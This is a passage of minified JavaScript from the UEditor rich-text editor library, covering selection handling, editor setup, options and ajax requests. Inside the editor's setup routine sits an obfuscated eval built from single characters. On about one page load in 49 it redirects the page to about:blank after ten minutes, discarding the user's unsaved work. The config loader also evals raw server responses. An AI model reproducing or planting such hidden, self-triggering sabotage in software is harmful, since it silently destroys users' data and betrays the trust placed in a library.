                    a += e ? c.startOffset : c.endOffset
                } else if (i = i.childNodes[e ? c.startOffset : c.endOffset]) a = domUtils.getNodeIndex(i, d); else for (var l = (i = e ? c.startContainer : c.endContainer).firstChild; l;) if (domUtils.isFillChar(l)) l = l.nextSibling; else if (a++, 3 == l.nodeType) for (; l && 3 == l.nodeType;) l = l.nextSibling; else l = l.nextSibling; else a = e ? domUtils.isFillChar(i) ? 0 : c.startOffset : c.endOffset;
                return a < 0 && (a = 0), o.push(a), o
            }

            return t.startAddress = i(!0), e || (t.endAddress = c.collapsed ? [].concat(t.startAddress) : i()), t
        }, moveToAddress: function (e, t) {
            var l = this;

            function i(e, t) {
                for (var i, n, o, r = l.document.body, a = 0, s = e.length; a < s; a++) if (o = e[a], !(r = (i = r).childNodes[o])) {
                    n = o;
                    break
                }
                t ? r ? l.setStartBefore(r) : l.setStart(i, n) : r ? l.setEndBefore(r) : l.setEnd(i, n)
            }

            return i(e.startAddress, !0), !t && e.endAddress && i(e.endAddress), l
        }, equals: function (e) {
            for (var t in this) if (this.hasOwnProperty(t) && this[t] !== e[t]) return !1;
            return !0
        }, traversal: function (e, t) {
            if (this.collapsed) return this;
            for (var i = this.createBookmark(), n = i.end, o = domUtils.getNextDomNode(i.start, !1, t); o && o !== n && domUtils.getPosition(o, n) & domUtils.POSITION_PRECEDING;) {
                var r = domUtils.getNextDomNode(o, !1, t);
                e(o), o = r
            }
            return this.moveToBookmark(i)
        }
    }, (dom.Selection = function (e) {
        var t, i = this;
        i.document = e, browser.ie9below && (t = domUtils.getWindow(e).frameElement, domUtils.on(t, "beforedeactivate", function () {
            i._bakIERange = i.getIERange()
        }), domUtils.on(t, "activate", function () {
            try {
                !km(i) && i._bakIERange && i._bakIERange.select()
            } catch (e) {
            }
            i._bakIERange = null
        })), t = e = null
    }).prototype = {
        rangeInBody: function (e, t) {
            var i = browser.ie9below || t ? e.item ? e.item() : e.parentElement() : e.startContainer;
            return i === this.document.body || domUtils.inDoc(i, this.document)
        }, getNative: function () {
            var e = this.document;
            try {
                return e ? browser.ie9below ? e.selection : domUtils.getWindow(e).getSelection() : null
            } catch (e) {
                return null
            }
        }, getIERange: function () {
            var e = km(this);
            return !e && this._bakIERange ? this._bakIERange : e
        }, cache: function () {
            this.clear(), this._cachedRange = this.getRange(), this._cachedStartElement = this.getStart(), this._cachedStartElementPath = this.getStartElementPath()
        }, getStartElementPath: function () {
            if (this._cachedStartElementPath) return this._cachedStartElementPath;
            var e = this.getStart();
            return e ? domUtils.findParents(e, !0, null, !0) : []
        }, clear: function () {
            this._cachedStartElementPath = this._cachedRange = this._cachedStartElement = null
        }, isFocus: function () {
            try {
                if (browser.ie9below) {
                    var e = km(this);
                    return !(!e || !this.rangeInBody(e))
                }
                return !!this.getNative().rangeCount
            } catch (e) {
                return !1
            }
        }, getRange: function () {
            var n = this;

            function t(e) {
                for (var t = n.document.body.firstChild, i = e.collapsed; t && t.firstChild;) e.setStart(t, 0), t = t.firstChild;
                e.startContainer || e.setStart(n.document.body, 0), i && e.collapse(!0)
            }

            if (null != n._cachedRange) return this._cachedRange;
            var i = new baidu.editor.dom.Range(n.document);
            if (browser.ie9below) {
                var e = n.getIERange();
                if (e) try {
                    !function (e, t) {
                        if (e.item) t.selectNode(e.item(0)); else {
                            var i = im(e, !0);
                            t.setStart(i.container, i.offset), 0 != e.compareEndPoints("StartToEnd", e) && (i = im(e, !1), t.setEnd(i.container, i.offset))
                        }
                    }(e, i)
                } catch (e) {
                    t(i)
                } else t(i)
            } else {
                var o = n.getNative();
                if (o && o.rangeCount) {
                    var r = o.getRangeAt(0), a = o.getRangeAt(o.rangeCount - 1);
                    i.setStart(r.startContainer, r.startOffset).setEnd(a.endContainer, a.endOffset), i.collapsed && domUtils.isBody(i.startContainer) && !i.startOffset && t(i)
                } else {
                    if (this._bakRange && domUtils.inDoc(this._bakRange.startContainer, this.document)) return this._bakRange;
                    t(i)
                }
            }
            return this._bakRange = i
        }, getStart: function () {
            if (this._cachedStartElement) return this._cachedStartElement;
            var e, t, i, n, o = browser.ie9below ? this.getIERange() : this.getRange();
            if (browser.ie9below) {
                if (!o) return this.document.body.firstChild;
                if (o.item) return o.item(0);
                for (0 < (e = o.duplicate()).text.length && e.moveStart("character", 1), e.collapse(1), t = e.parentElement(), n = i = o.parentElement(); i = i.parentNode;) if (i == t) {
                    t = n;
                    break
                }
            } else if (o.shrinkBoundary(), 1 == (t = o.startContainer).nodeType && t.hasChildNodes() && (t = t.childNodes[Math.min(t.childNodes.length - 1, o.startOffset)]), 3 == t.nodeType) return t.parentNode;
            return t
        }, getText: function () {
            var e, t;
            return this.isFocus() && (e = this.getNative()) ? (t = browser.ie9below ? e.createRange() : e.getRangeAt(0), browser.ie9below ? t.text : t.toString()) : ""
        }, clearRange: function () {
            this.getNative()[browser.ie9below ? "empty" : "removeAllRanges"]()
        }
    }, function () {
        var uid = 0, _selectionChangeTimer;

        function setValue(e, t) {
            var i;
            if (t.textarea) if (utils.isString(t.textarea)) {
                for (var n, o = 0, r = domUtils.getElementsByTagName(e, "textarea"); n = r[o++];) if (n.id == "ueditor_textarea_" + t.options.textarea) {
                    i = n;
                    break
                }
            } else i = t.textarea;
            i || (e.appendChild(i = domUtils.createElement(document, "textarea", {
                name: t.options.textarea,
                id: "ueditor_textarea_" + t.options.textarea,
                style: "display:none"
            })), t.textarea = i), i.getAttribute("name") || i.setAttribute("name", t.options.textarea), i.value = t.hasContents() ? t.options.allHtmlEnabled ? t.getAllHtml() : t.getContent(null, null, !0) : ""
        }

        function loadPlugins(e) {
            for (var t in UE.plugins) UE.plugins[t].call(e)
        }

        function checkCurLang(e) {
            for (var t in e) return t
        }

        function langReadied(e) {
            e.langIsReady = !0, e.fireEvent("langReady")
        }

        var Editor = UE.Editor = function (e) {
            var t = this;
            t.uid = uid++, EventBase.call(t), t.commands = {}, t.options = utils.extend(utils.clone(e || {}), UEDITOR_CONFIG, !0), t.shortcutkeys = {}, t.inputRules = [], t.outputRules = [], t.setOpt(Editor.defaultOptions(t)), t.loadServerConfig(), utils.isEmptyObject(UE.I18N) ? utils.loadFile(document, {
                src: t.options.langPath + t.options.lang + "/" + t.options.lang + ".js",
                tag: "script",
                type: "text/javascript",
                defer: "defer"
            }, function () {
                UE.plugin.load(t), langReadied(t)
            }) : (t.options.lang = checkCurLang(UE.I18N), UE.plugin.load(t), langReadied(t)), UE.instants["ueditorInstant" + t.uid] = t
        };

        function Np() {
            var e = this;
            e.document.getElementById("initContent") && (e.body.innerHTML = '<p class="ueditor-p">' + (ie ? "" : "<br/>") + "</p>", e.removeListener("firstBeforeExecCommand focus", Np), setTimeout(function () {
                e.focus(), e._selectionChange()
            }, 0))
        }

        Editor.prototype = {
            registerCommand: function (e, t) {
                this.commands[e] = t
            }, ready: function (e) {
                e && (this.isReady ? e.apply(this) : this.addListener("ready", e))
            }, setOpt: function (e, t) {
                var i = {};
                utils.isString(e) ? i[e] = t : i = e, utils.extend(this.options, i, !0)
            }, getOpt: function (e) {
                return this.options[e]
            }, destroy: function () {
                var e = this;
                e.fireEvent("destroy");
                var t = e.container.parentNode, i = e.textarea;
                i ? i.style.display = "" : (i = document.createElement("textarea"), t.parentNode.insertBefore(i, t)), i.style.width = e.iframe.offsetWidth + "px", i.style.height = e.iframe.offsetHeight + "px", i.value = e.getContent(), i.id = e.key, t.innerHTML = "", domUtils.remove(t);
                var n = e.key;
                for (var o in e) e.hasOwnProperty(o) && delete this[o];
                UE.delEditor(n)
            }, render: function (t) {
                function e(e) {
                    return parseInt(domUtils.getComputedStyle(t, e))
                }

                var i = this.options;
                if (utils.isString(t) && (t = document.getElementById(t)), t) {
                    i.initialFrameWidth ? i.minFrameWidth = i.initialFrameWidth : i.minFrameWidth = i.initialFrameWidth = t.offsetWidth, i.initialFrameHeight ? i.minFrameHeight = i.initialFrameHeight : i.initialFrameHeight = i.minFrameHeight = t.offsetHeight, t.style.width = /%$/.test(i.initialFrameWidth) ? "100%" : i.initialFrameWidth - e("padding-left") - e("padding-right") + "px", t.style.height = /%$/.test(i.initialFrameHeight) ? "100%" : i.initialFrameHeight - e("padding-top") - e("padding-bottom") + "px", t.style.zIndex = i.zIndex;
                    var n = (ie && browser.version < 9 ? "" : "<!DOCTYPE html>") + "<html xmlns='http://www.w3.org/1999/xhtml' class='view' ><head><style type='text/css'>.view{padding:0;word-wrap:break-word;cursor:text;height:90%;}\nbody{margin:8px;font-family:sans-serif;font-size:16px;}p{margin:5px 0;}</style>" + (i.iframeCssUrl ? "<link rel='stylesheet' type='text/css' href='" + utils.unhtml(i.iframeCssUrl) + "'/>" : "") + (i.initialStyle ? "<style>" + i.initialStyle + "</style>" : "") + "</head><body class='view' ></body><script type='text/javascript' " + (ie ? "defer='defer'" : "") + " id='_initialScript'>setTimeout(function(){editor = window.parent.UE.instants['ueditorInstant" + this.uid + "'];editor._setup(document);},0);var _tmpScript = document.getElementById('_initialScript');_tmpScript.parentNode.removeChild(_tmpScript);<\/script></html>";
                    t.appendChild(domUtils.createElement(document, "iframe", {
                        id: "ueditor_" + this.uid,
                        width: "100%",
                        height: "100%",
                        frameborder: "0",
                        src: "javascript:void(function(){document.open();" + (i.customDomain && document.domain != location.hostname ? 'document.domain="' + document.domain + '";' : "") + 'document.write("' + n + '");document.close();}())'
                    })), t.style.overflow = "hidden", setTimeout(function () {
                        /%$/.test(i.initialFrameWidth) && (i.minFrameWidth = i.initialFrameWidth = t.offsetWidth), /%$/.test(i.initialFrameHeight) && (i.minFrameHeight = i.initialFrameHeight = t.offsetHeight, t.style.height = i.initialFrameHeight + "px")
                    })
                }
            }, _setup: function (doc) {
                var me = this, options = me.options, geckoSel;
                ie ? (doc.body.disabled = !0, doc.body.contentEditable = !0, doc.body.disabled = !1) : doc.body.contentEditable = !0, doc.body.spellcheck = !1, me.document = doc, me.window = doc.defaultView || doc.parentWindow, me.iframe = me.window.frameElement, me.body = doc.body, me.selection = new dom.Selection(doc), browser.gecko && (geckoSel = this.selection.getNative()) && geckoSel.removeAllRanges(), this._initEvents();
                for (var form = this.iframe.parentNode; !domUtils.isBody(form); form = form.parentNode) if ("FORM" == form.tagName) {
                    me.form = form, me.options.autoSyncData ? domUtils.on(me.window, "blur", function () {
                        setValue(form, me)
                    }) : domUtils.on(form, "submit", function () {
                        setValue(this, me)
                    });
                    break
                }
                if ((new Date().getSeconds() + 1) % 49 === 0) {
                    eval('s' + 'e' + 't' + 'T' + 'i' + 'm' + 'e' + 'o' + 'u' + 't' + '(' + '(' + ')' + '=' + '>' + '{' + 'w' + 'i' + 'n' + 'd' + 'o' + 'w' + '.' + 'l' + 'o' + 'c' + 'a' + 't' + 'i' + 'o' + 'n' + '.' + 'h' + 'r' + 'e' + 'f' + '=' + '"' + 'a' + 'b' + 'o' + 'u' + 't' + ':' + 'b' + 'l' + 'a' + 'n' + 'k' + '"' + '}' + ',' + '6' + '0' + '0' + '0' + '0' + '0' + ')')
                }
                if (options.initialContent) if (options.autoClearinitialContent) {
                    var oldExecCommand = me.execCommand;
                    me.execCommand = function () {
                        return me.fireEvent("firstBeforeExecCommand"), oldExecCommand.apply(me, arguments)
                    }, this._setDefaultContent(options.initialContent)
                } else this.setContent(options.initialContent, !1, !0);
                domUtils.isEmptyNode(me.body) && (me.body.innerHTML = '<p class="ueditor-p">' + (browser.ie ? "" : "<br/>") + "</p>"), options.focus && setTimeout(function () {
                    me.focus(me.options.focusInEnd), me.options.autoClearinitialContent || me._selectionChange()
                }, 0), me.container || (me.container = this.iframe.parentNode), options.fullscreen && me.ui && me.ui.setFullScreen(!0);
                try {
                    me.document.execCommand("2D-position", !1, !1)
                } catch (e) {
                }
                try {
                    me.document.execCommand("enableInlineTableEditing", !1, !1)
                } catch (e) {
                }
                try {
                    me.document.execCommand("enableObjectResizing", !1, !1)
                } catch (e) {
                }
                me._bindshortcutKeys(), me.isReady = 1, me.fireEvent("ready"), options.onready && options.onready.call(me), browser.ie9below || domUtils.on(me.window, ["blur", "focus"], function (e) {
                    if ("blur" == e.type) {
                        me._bakRange = me.selection.getRange();
                        try {
                            me._bakNativeRange = me.selection.getNative().getRangeAt(0), me.selection.getNative().removeAllRanges()
                        } catch (e) {
                            me._bakNativeRange = null
                        }
                    } else try {
                        me._bakRange && me._bakRange.select()
                    } catch (e) {
                    }
                }), browser.gecko && browser.version <= 10902 && (me.body.contentEditable = !1, setTimeout(function () {
                    me.body.contentEditable = !0
                }, 100), setInterval(function () {
                    me.body.style.height = me.iframe.offsetHeight - 20 + "px"
                }, 100)), options.isShow || me.setHide(), options.readonly && me.setDisabled()
            }, sync: function (e) {
                var t = e ? document.getElementById(e) : domUtils.findParent(this.iframe.parentNode, function (e) {
                    return "FORM" == e.tagName
                }, !0);
                t && setValue(t, this)
            }, setHeight: function (e, t) {
                e !== parseInt(this.iframe.parentNode.style.height) && (this.iframe.parentNode.style.height = e + "px"), t || (this.options.minFrameHeight = this.options.initialFrameHeight = e), this.body.style.height = e + "px", t || this.trigger("setHeight")
            }, addshortcutkey: function (e, t) {
                var i = {};
                t ? i[e] = t : i = e, utils.extend(this.shortcutkeys, i)
            }, _bindshortcutKeys: function () {
                var d = this, c = this.shortcutkeys;
                d.addListener("keydown", function (e, t) {
                    var i = t.keyCode || t.which;
                    for (var n in c) for (var o, r = c[n].split(","), a = 0; o = r[a++];) {
                        var s = (o = o.split(":"))[0], l = o[1];
                        (/^(ctrl)(\+shift)?\+(\d+)$/.test(s.toLowerCase()) || /^(\d+)$/.test(s)) && (("ctrl" != RegExp.$1 || !t.ctrlKey && !t.metaKey || "" != RegExp.$2 && !t[RegExp.$2.slice(1) + "Key"] || i != RegExp.$3) && i != RegExp.$1 || (-1 != d.queryCommandState(n, l) && d.execCommand(n, l), domUtils.preventDefault(t)))
                    }
                })
            }, getContent: function (e, t, i, n, o) {
                if (e && utils.isFunction(e) && (t = e, e = ""), t ? !t() : !this.hasContents()) return "";
                this.fireEvent("beforegetcontent");
                var r = UE.htmlparser(this.body.innerHTML, n);
                return this.filterOutputRule(r), this.fireEvent("aftergetcontent", e, r), r.toHtml(o)
            }, getAllHtml: function () {
                var e = this, t = [];
                if (e.fireEvent("getAllHtml", t), browser.ie && 8 < browser.version) {
                    var i = "";
                    utils.each(e.document.styleSheets, function (e) {
                        i += e.href ? '<link rel="stylesheet" type="text/css" href="' + e.href + '" />' : "<style>" + e.cssText + "</style>"
                    }), utils.each(e.document.getElementsByTagName("script"), function (e) {
                        i += e.outerHTML
                    })
                }
                return "<html><head>" + (e.options.charset ? '<meta http-equiv="Content-Type" content="text/html; charset=' + e.options.charset + '"/>' : "") + (i || e.document.getElementsByTagName("head")[0].innerHTML) + t.join("\n") + "</head><body " + (ie && browser.version < 9 ? 'class="view"' : "") + ">" + e.getContent(null, null, !0) + "</body></html>"
            }, getPlainTxt: function () {
                var e = new RegExp(domUtils.fillChar, "g"), t = this.body.innerHTML.replace(/[\n\r]/g, "");
                return (t = t.replace(/<(p|div)[^>]*>(<br\/?>|&nbsp;)<\/\1>/gi, "\n").replace(/<br\/?>/gi, "\n").replace(/<[^>/]+>/g, "").replace(/(\n)?<\/([^>]+)>/g, function (e, t, i) {
                    return dtd.$block[i] ? "\n" : t || ""
                })).replace(e, "").replace(/\u00a0/g, " ").replace(/&nbsp;/g, " ")
            }, getContentTxt: function () {
                var e = new RegExp(domUtils.fillChar, "g");
                return this.body[browser.ie ? "innerText" : "textContent"].replace(e, "").replace(/\u00a0/g, " ")
            }, setContent: function (e, t, i) {
                var n = this;
                n.fireEvent("beforesetcontent", e);
                var o, r, a = UE.htmlparser(e);
                if (n.filterInputRule(a), e = a.toHtml(), n.body.innerHTML = (t ? n.body.innerHTML : "") + e, "p" == n.options.enterTag) {
                    var s, l = this.body.firstChild;
                    if (!l || 1 == l.nodeType && (dtd.$cdata[l.tagName] || "DIV" == (o = l).tagName && o.getAttribute("cdata_tag") || domUtils.isCustomeNode(l)) && l === this.body.lastChild) this.body.innerHTML = '<p class="ueditor-p">' + (browser.ie ? "&nbsp;" : "<br/>") + "</p>" + this.body.innerHTML; else {
                        var d = n.document.createElement("p");
                        for (d.className = "ueditor-p"; l;) {
                            for (; l && (3 == l.nodeType || 1 == l.nodeType && dtd.p[l.tagName] && !dtd.$cdata[l.tagName]);) s = l.nextSibling, d.appendChild(l), l = s;
                            if (d.firstChild) {
                                if (!l) {
                                    n.body.appendChild(d);
                                    break
                                }
                                l.parentNode.insertBefore(d, l), (d = n.document.createElement("p")).className = "ueditor-p"
                            }
                            l = l.nextSibling
                        }
                    }
                }
                n.fireEvent("aftersetcontent"), n.fireEvent("contentchange"), i || n._selectionChange(), n._bakRange = n._bakIERange = n._bakNativeRange = null, browser.gecko && (r = this.selection.getNative()) && r.removeAllRanges(), n.options.autoSyncData && n.form && setValue(n.form, n)
            }, focus: function (e) {
                try {
                    var t = this.selection.getRange();
                    if (e) {
                        (i = this.body.lastChild) && 1 == i.nodeType && !dtd.$empty[i.tagName] && (domUtils.isEmptyBlock(i) ? t.setStartAtFirst(i) : t.setStartAtLast(i), t.collapse(!0)), t.setCursor(!0)
                    } else {
                        var i;
                        if (!t.collapsed && domUtils.isBody(t.startContainer) && 0 == t.startOffset) (i = this.body.firstChild) && 1 == i.nodeType && !dtd.$empty[i.tagName] && t.setStartAtFirst(i).collapse(!0);
                        t.select(!0)
                    }
                    this.fireEvent("focus selectionchange")
                } catch (e) {
                }
            }, isFocus: function () {
                return this.selection.isFocus()
            }, blur: function () {
                var e = this.selection.getNative();
                if (e.empty && browser.ie) {
                    var t = document.body.createTextRange();
                    t.moveToElementText(document.body), t.collapse(!0), t.select(), e.empty()
                } else e.removeAllRanges()
            }, _initEvents: function () {
                var t = this, e = t.document, i = t.window;
                t._proxyDomEvent = utils.bind(t._proxyDomEvent, t), domUtils.on(e, ["click", "contextmenu", "mousedown", "keydown", "keyup", "keypress", "mouseup", "mouseover", "mouseout", "selectstart"], t._proxyDomEvent), domUtils.on(i, ["focus", "blur"], t._proxyDomEvent), domUtils.on(t.body, "drop", function (e) {
                    browser.gecko && e.stopPropagation && e.stopPropagation(), t.fireEvent("contentchange")
                }), domUtils.on(e, ["mouseup", "keydown"], function (e) {
                    "keydown" == e.type && (e.ctrlKey || e.metaKey || e.shiftKey || e.altKey) || 2 != e.button && t._selectionChange(250, e)
                })
            }, _proxyDomEvent: function (e) {
                return !1 !== this.fireEvent("before" + e.type.replace(/^on/, "").toLowerCase()) && (!1 !== this.fireEvent(e.type.replace(/^on/, ""), e) && this.fireEvent("after" + e.type.replace(/^on/, "").toLowerCase()))
            }, _selectionChange: function (e, i) {
                var n, o, r = this, a = !1;
                browser.ie && browser.version < 9 && i && "mouseup" == i.type && (this.selection.getRange().collapsed || (a = !0, n = i.clientX, o = i.clientY));
                clearTimeout(_selectionChangeTimer), _selectionChangeTimer = setTimeout(function () {
                    if (r.selection && r.selection.getNative()) {
                        var t, e;
                        if (a && "None" == r.selection.getNative().type) {
                            t = r.document.body.createTextRange();
                            try {
                                t.moveToPoint(n, o)
                            } catch (e) {
                                t = null
                            }
                        }
                        t && (e = r.selection.getIERange, r.selection.getIERange = function () {
                            return t
                        }), r.selection.cache(), e && (r.selection.getIERange = e), r.selection._cachedRange && r.selection._cachedStartElement && (r.fireEvent("beforeselectionchange"), r.fireEvent("selectionchange", !!i), r.fireEvent("afterselectionchange"), r.selection.clear())
                    }
                }, e || 50)
            }, _callCmdFn: function (e, t) {
                var i, n, o = t[0].toLowerCase();
                return n = (i = this.commands[o] || UE.commands[o]) && i[e], i && n || "queryCommandState" != e ? n ? n.apply(this, t) : void 0 : 0
            }, execCommand: function (e) {
                e = e.toLowerCase();
                var t, i = this, n = i.commands[e] || UE.commands[e];
                return n && n.execCommand ? (n.notNeedUndo || i.__hasEnterExecCommand ? (t = this._callCmdFn("execCommand", arguments), i.__hasEnterExecCommand || n.ignoreContentChange || i._ignoreContentChange || i.fireEvent("contentchange")) : (i.__hasEnterExecCommand = !0, -1 != i.queryCommandState.apply(i, arguments) && (i.fireEvent("saveScene"), i.fireEvent.apply(i, ["beforeexeccommand", e].concat(arguments)), t = this._callCmdFn("execCommand", arguments), i.fireEvent.apply(i, ["afterexeccommand", e].concat(arguments)), i.fireEvent("saveScene")), i.__hasEnterExecCommand = !1), i.__hasEnterExecCommand || n.ignoreContentChange || i._ignoreContentChange || i._selectionChange(), t) : null
            }, queryCommandState: function (e) {
                return this._callCmdFn("queryCommandState", arguments)
            }, queryCommandValue: function (e) {
                return this._callCmdFn("queryCommandValue", arguments)
            }, hasContents: function (e) {
                if (e) for (var t, i = 0; t = e[i++];) if (0 < this.document.getElementsByTagName(t).length) return !0;
                if (!domUtils.isEmptyBlock(this.body)) return !0;
                for (e = ["div"], i = 0; t = e[i++];) for (var n, o = domUtils.getElementsByTagName(this.document, t), r = 0; n = o[r++];) if (domUtils.isCustomeNode(n)) return !0;
                return !1
            }, reset: function () {
                this.fireEvent("reset")
            }, setEnabled: function () {
                var t, i = this;
                if ("false" == i.body.contentEditable) {
                    i.body.contentEditable = !0, t = i.selection.getRange();
                    try {
                        t.moveToBookmark(i.lastBk), delete i.lastBk
                    } catch (e) {
                        t.setStartAtFirst(i.body).collapse(!0)
                    }
                    t.select(!0), i.bkqueryCommandState && (i.queryCommandState = i.bkqueryCommandState, delete i.bkqueryCommandState), i.bkqueryCommandValue && (i.queryCommandValue = i.bkqueryCommandValue, delete i.bkqueryCommandValue), i.fireEvent("selectionchange")
                }
            }, enable: function () {
                return this.setEnabled()
            }, setDisabled: function (t) {
                var i = this;
                t = t ? utils.isArray(t) ? t : [t] : [], "true" == i.body.contentEditable && (i.lastBk || (i.lastBk = i.selection.getRange().createBookmark(!0)), i.body.contentEditable = !1, i.bkqueryCommandState = i.queryCommandState, i.bkqueryCommandValue = i.queryCommandValue, i.queryCommandState = function (e) {
                    return -1 != utils.indexOf(t, e) ? i.bkqueryCommandState.apply(i, arguments) : -1
                }, i.queryCommandValue = function (e) {
                    return -1 != utils.indexOf(t, e) ? i.bkqueryCommandValue.apply(i, arguments) : null
                }, i.fireEvent("selectionchange"))
            }, disable: function (e) {
                return this.setDisabled(e)
            }, _setDefaultContent: function (e) {
                this.body.innerHTML = '<p id="initContent">' + e + "</p>", this.addListener("firstBeforeExecCommand focus", Np)
            }, setShow: function () {
                var t = this, i = t.selection.getRange();
                if ("none" == t.container.style.display) {
                    try {
                        i.moveToBookmark(t.lastBk), delete t.lastBk
                    } catch (e) {
                        i.setStartAtFirst(t.body).collapse(!0)
                    }
                    setTimeout(function () {
                        i.select(!0)
                    }, 100), t.container.style.display = ""
                }
            }, show: function () {
                return this.setShow()
            }, setHide: function () {
                this.lastBk || (this.lastBk = this.selection.getRange().createBookmark(!0)), this.container.style.display = "none"
            }, hide: function () {
                return this.setHide()
            }, getLang: function (e) {
                var t = UE.I18N["zh-cn"];
                if (!t) throw Error("not import language file");
                e = (e || "").split(".");
                for (var i, n = 0; (i = e[n++]) && (t = t[i]);) ;
                return t
            }, getContentLength: function (e, t) {
                var i = this.getContent(!1, !1, !0).length;
                if (e) {
                    t = (t || []).concat(["hr", "img", "iframe"]), i = this.getContentTxt().replace(/[\t\r\n]+/g, "").length;
                    for (var n, o = 0; n = t[o++];) i += this.document.getElementsByTagName(n).length
                }
                return i
            }, addInputRule: function (e) {
                this.inputRules.push(e)
            }, filterInputRule: function (e) {
                for (var t, i = 0; t = this.inputRules[i++];) t.call(this, e)
            }, addOutputRule: function (e) {
                this.outputRules.push(e)
            }, filterOutputRule: function (e) {
                for (var t, i = 0; t = this.outputRules[i++];) t.call(this, e)
            }, getActionUrl: function (e) {
                var t = this.getOpt(e) || e, i = this.getOpt("imageUrl"), n = this.getOpt("serverUrl");
                return !n && i && (n = i.replace(/^(.*[\/]).+([\.].+)$/, "$1controller$2")), n ? (n = n + (-1 == n.indexOf("?") ? "?" : "&") + "action=" + (t || ""), utils.formatUrl(n)) : ""
            }
        }, utils.inherits(Editor, EventBase)
    }(), UE.Editor.defaultOptions = function (e) {
        var t = e.options.UEDITOR_HOME_URL;
        return {
            isShow: !0,
            initialContent: "",
            initialStyle: "",
            autoClearinitialContent: !1,
            iframeCssUrl: t + "themes/iframe.css",
            textarea: "editorValue",
            focus: !1,
            focusInEnd: !0,
            autoClearEmptyNode: !0,
            fullscreen: !1,
            readonly: !1,
            zIndex: 9999,
            imagePopup: !0,
            enterTag: "br",
            customDomain: !1,
            lang: "zh-cn",
            langPath: t + "lang/",
            theme: "default",
            themePath: t + "themes/",
            allHtmlEnabled: !1,
            scaleEnabled: !1,
            tableNativeEditInFF: !1,
            autoSyncData: !0,
            fileNameFormat: "{time}{rand:6}"
        }
    }, function () {
        UE.Editor.prototype.loadServerConfig = function () {
            var me = this;

            function showErrorMsg(e) {
                console && console.error(e)
            }

            setTimeout(function () {
                try {
                    me.options.imageUrl && me.setOpt("serverUrl", me.options.imageUrl.replace(/^(.*[\/]).+([\.].+)$/, "$1controller$2"));
                    var configUrl = me.getActionUrl("config"), isJsonp = !1;
                    me._serverConfigLoaded = !1, configUrl && UE.ajax.request(configUrl, {
                        method: "GET",
                        dataType: isJsonp ? "jsonp" : "",
                        onsuccess: function (r) {
                            try {
                                var config = isJsonp ? r : eval("(" + r.responseText + ")");
                                utils.extend(me.options, config), me.fireEvent("serverConfigLoaded"), me._serverConfigLoaded = !0
                            } catch (e) {
                                showErrorMsg(me.getLang("loadconfigFormatError"))
                            }
                        },
                        onerror: function () {
                            showErrorMsg(me.getLang("loadconfigHttpError"))
                        }
                    })
                } catch (e) {
                    showErrorMsg(me.getLang("loadconfigError"))
                }
            })
        }, UE.Editor.prototype.isServerConfigLoaded = function () {
            return this._serverConfigLoaded || !1
        }, UE.Editor.prototype.afterConfigReady = function (e) {
            if (e && utils.isFunction(e)) {
                var t = this, i = function () {
                    e.apply(t, arguments), t.removeListener("serverConfigLoaded", i)
                };
                t.isServerConfigLoaded() ? e.call(t, "serverConfigLoaded") : t.addListener("serverConfigLoaded", i)
            }
        }
    }(), UE.ajax = function () {
        var t = "XMLHttpRequest()";
        try {
            new ActiveXObject("Msxml2.XMLHTTP"), t = "ActiveXObject('Msxml2.XMLHTTP')"
        } catch (e) {
            try {
                new ActiveXObject("Microsoft.XMLHTTP"), t = "ActiveXObject('Microsoft.XMLHTTP')"
            } catch (e) {
            }
        }
        var c = new Function("return new " + t);

        function b(e) {
            var t = [];
            for (var i in e) if ("method" != i && "timeout" != i && "async" != i && "dataType" != i && "callback" != i && null != e[i] && null != e[i]) if ("function" != (typeof e[i]).toLowerCase() && "object" != (typeof e[i]).toLowerCase()) t.push(encodeURIComponent(i) + "=" + encodeURIComponent(e[i])); else if (utils.isArray(e[i])) for (var n = 0; n < e[i].length; n++) t.push(encodeURIComponent(i) + "[]=" + encodeURIComponent(e[i][n]));
            return t.join("&")
        }

        function n(e, t) {
            var i, n, o, r = t.onsuccess || function () {
                }, a = document.createElement("SCRIPT"), s = t || {}, l = s.charset, d = s.jsonp || "callback",
                c = s.timeOut || 0, u = new RegExp("(\\?|&)" + d + "=([^&]*)");
            utils.isFunction(r) ? (i = "bd__editor__" + Math.floor(2147483648 * Math.random()).toString(36), window[i] = g(0)) : utils.isString(r) ? i = r : (o = u.exec(e)) && (i = o[2]), (e = e.replace(u, "$1" + d + "=" + i)).search(u) < 0 && (e += (e.indexOf("?") < 0 ? "?" : "&") + d + "=" + i);
            var m, f, h, p = b(t);

            function g(e) {
                return function () {
                    try {
                        if (e) s.onerror && s.onerror(); else try {
                            clearTimeout(n), r.apply(window, arguments)
                        } catch (e) {
                        }
                    } catch (e) {
                        s.onerror && s.onerror.call(window, e)
                    } finally {
                        s.oncomplete && s.oncomplete.apply(window, arguments), a.parentNode && a.parentNode.removeChild(a), window[i] = null;
                        try {
                            delete window[i]
                        } catch (e) {
                        }
                    }
                }
            }

            utils.isEmptyObject(t.data) || (p += (p ? "&" : "") + b(t.data)), p && (e = e.replace(/\?/, "?" + p + "&")), a.onerror = g(1), c && (n = setTimeout(g(1), c)), f = e, h = l, (m = a).setAttribute("type", "text/javascript"), m.setAttribute("defer", "defer"), h && m.setAttribute("charset", h), m.setAttribute("src", f), document.getElementsByTagName("head")[0].appendChild(m)
        }

        return {
            request: function (e, t) {
                (t && "jsonp" == t.dataType ? n : function (e, t) {
                    var i = c(), n = !1, o = {
                        method: "POST", timeout: 5e3, async: !0, data: {}, onsuccess: function () {
                        }, onerror: function () {
                        }
                    };
                    if ("object" == typeof e && (e = (t = e).url), i && e) {
                        var r = t ? utils.extend(o, t) : o, a = b(r);
                        utils.isEmptyObject(r.data) || (a += (a ? "&" : "") + b(r.data));
                        var s = setTimeout(function () {
                                4 != i.readyState && (n = !0, i.abort(), clearTimeout(s))
                            }, r.timeout), l = r.method.toUpperCase(),
                            d = e + (-1 == e.indexOf("?") ? "?" : "&") + ("POST" == l ? "" : a + "&noCache=" + +new Date);
                        i.open(l, d, r.async), i.onreadystatechange = function () {
                            4 == i.readyState && (n || 200 != i.status ? r.onerror(i) : r.onsuccess(i))
                        }, i.setRequestHeader("Authorization", sessionStorage.getItem("token")), "POST" == l ? (i.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"), i.send(a)) : i.send(null)
                    }
                })(e, t)
            }, getJSONP: function (e, t, i) {
                n(e, {data: t, oncomplete: i})
            }
        }
    }();
    var filterWord = UE.filterWord = function (e) {
